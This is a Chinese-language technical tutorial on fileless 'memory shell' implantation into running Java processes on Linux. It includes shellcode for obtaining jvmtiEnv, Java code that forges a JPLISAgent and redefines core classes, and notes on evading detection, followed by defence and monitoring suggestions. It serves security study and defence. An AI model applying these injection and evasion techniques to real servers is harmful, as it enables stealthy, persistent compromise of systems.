Linux下内存马进阶植入技术
字数 1172 2025-08-04 00:46:02

Linux下Java内存马进阶植入技术

1. Java Instrumentation API基础

Java Instrumentation API允许开发者在JVM运行时修改已加载的类,是内存马植入的关键技术。

1.1 核心接口

public interface Instrumentation {
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
    void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException;
    long getObjectSize(Object objectToSize);
    void appendToBootstrapClassLoaderSearch(JarFile jarfile);
    Class[] getAllLoadedClasses();
}

1.2 两种加载方式

  1. 启动时加载

    • 实现premain方法
    • 在MANIFEST.MF中指定Premain-Class
  2. 运行时加载

    • 实现agentmain方法
    • 在MANIFEST.MF中指定Agent-Class
    • 通过VirtualMachine.attach()loadAgent()加载

2. 无文件Agent技术

传统方法需要agent.jar文件,而高级技术可以绕过这一限制。

2.1 技术原理

  1. InstrumentationImpl分析

    • Instrumentation接口的实现类
    • 关键字段mNativeAgent存储native指针
  2. JPLISAgent结构

    • 包含jvmtiEnv指针
    • 通过jvmtiEnv实现类重定义
  3. 获取jvmtiEnv

    • 通过JNI_GetCreatedJavaVMs获取JavaVM
    • 通过JavaVM获取jvmtiEnv

2.2 实现步骤

  1. 获取关键函数地址

    • 解析/proc/self/maps获取库基址
    • 解析ELF文件获取符号地址
  2. Shellcode注入

    movabs rax, _JNI_GetCreatedJavaVMs
    sub rsp, 20h
    xor rsi, rsi
    inc rsi
    lea rdx, [rsp+4]
    lea rdi, [rsp+8]
    call rax
    mov rdi, [rsp+8]
    lea rsi, [rsp+10h]
    mov edx, 30010200h
    mov rax, [rdi]
    call qword ptr [rax+30h]
    mov rax, [rsp+10h]
    add rsp, 20h
    ret
    
  3. 伪造JPLISAgent

    long JPLISAgent = unsafe.allocateMemory(0x1000);
    unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
    unsafe.putByte(native_jvmtienv + 361, (byte)2);  // 设置关键标志位
    
  4. 创建Instrumentation实例

    Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
    Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
    constructor.setAccessible(true);
    Object inst = constructor.newInstance(JPLISAgent, true, false);
    

3. 类修改实战

3.1 使用Javassist生成修改后的类

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("java.io.RandomAccessFile");
CtMethod method = ctClass.getDeclaredMethod("getFD");
method.insertBefore("System.out.println(\"hi, from java instrucment api\");");
byte[] bytecode = ctClass.toBytecode();

3.2 执行类重定义

ClassDefinition definition = new ClassDefinition(Class.forName("java.io.RandomAccessFile"), bytecode);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}});

4. 关键技术点

  1. ELF解析

    • 读取/proc/self/maps获取加载模块信息
    • 解析ELF头、节头和符号表
  2. 内存操作

    • 通过/proc/self/mem修改内存页
    • 使用Unsafe API操作native内存
  3. JVM内部机制

    • JPLISAgent结构布局
    • jvmtiEnv获取与使用
    • InstrumentationImpl实例化
  4. 规避检测

    • 无文件操作
    • 执行后恢复原代码
    • 不依赖外部agent文件

5. 防御建议

  1. 监控措施

    • 检测/proc/self/mem异常访问
    • 监控关键native方法调用
    • 检查Instrumentation API使用
  2. 加固方案

    • 禁用不受信任的JVM attach
    • 限制反射访问内部API
    • 使用SecurityManager限制敏感操作
  3. 检测工具

    • 定期扫描JVM中加载的类
    • 监控类字节码异常修改
    • 检查native内存异常分配

6. 参考实现

完整代码参考: https://github.com/bigBestWay/ice

该技术展示了Java Instrumentation API的强大能力,同时也提醒我们需要加强JVM运行时的安全防护。

Linux下Java内存马进阶植入技术 1. Java Instrumentation API基础 Java Instrumentation API允许开发者在JVM运行时修改已加载的类,是内存马植入的关键技术。 1.1 核心接口 1.2 两种加载方式 启动时加载 : 实现 premain 方法 在MANIFEST.MF中指定 Premain-Class 运行时加载 : 实现 agentmain 方法 在MANIFEST.MF中指定 Agent-Class 通过 VirtualMachine.attach() 和 loadAgent() 加载 2. 无文件Agent技术 传统方法需要agent.jar文件,而高级技术可以绕过这一限制。 2.1 技术原理 InstrumentationImpl分析 : Instrumentation 接口的实现类 关键字段 mNativeAgent 存储native指针 JPLISAgent结构 : 包含 jvmtiEnv 指针 通过 jvmtiEnv 实现类重定义 获取jvmtiEnv : 通过 JNI_GetCreatedJavaVMs 获取JavaVM 通过JavaVM获取jvmtiEnv 2.2 实现步骤 获取关键函数地址 : 解析/proc/self/maps获取库基址 解析ELF文件获取符号地址 Shellcode注入 : 伪造JPLISAgent : 创建Instrumentation实例 : 3. 类修改实战 3.1 使用Javassist生成修改后的类 3.2 执行类重定义 4. 关键技术点 ELF解析 : 读取/proc/self/maps获取加载模块信息 解析ELF头、节头和符号表 内存操作 : 通过/proc/self/mem修改内存页 使用Unsafe API操作native内存 JVM内部机制 : JPLISAgent结构布局 jvmtiEnv获取与使用 InstrumentationImpl实例化 规避检测 : 无文件操作 执行后恢复原代码 不依赖外部agent文件 5. 防御建议 监控措施 : 检测/proc/self/mem异常访问 监控关键native方法调用 检查Instrumentation API使用 加固方案 : 禁用不受信任的JVM attach 限制反射访问内部API 使用SecurityManager限制敏感操作 检测工具 : 定期扫描JVM中加载的类 监控类字节码异常修改 检查native内存异常分配 6. 参考实现 完整代码参考: https://github.com/bigBestWay/ice 该技术展示了Java Instrumentation API的强大能力,同时也提醒我们需要加强JVM运行时的安全防护。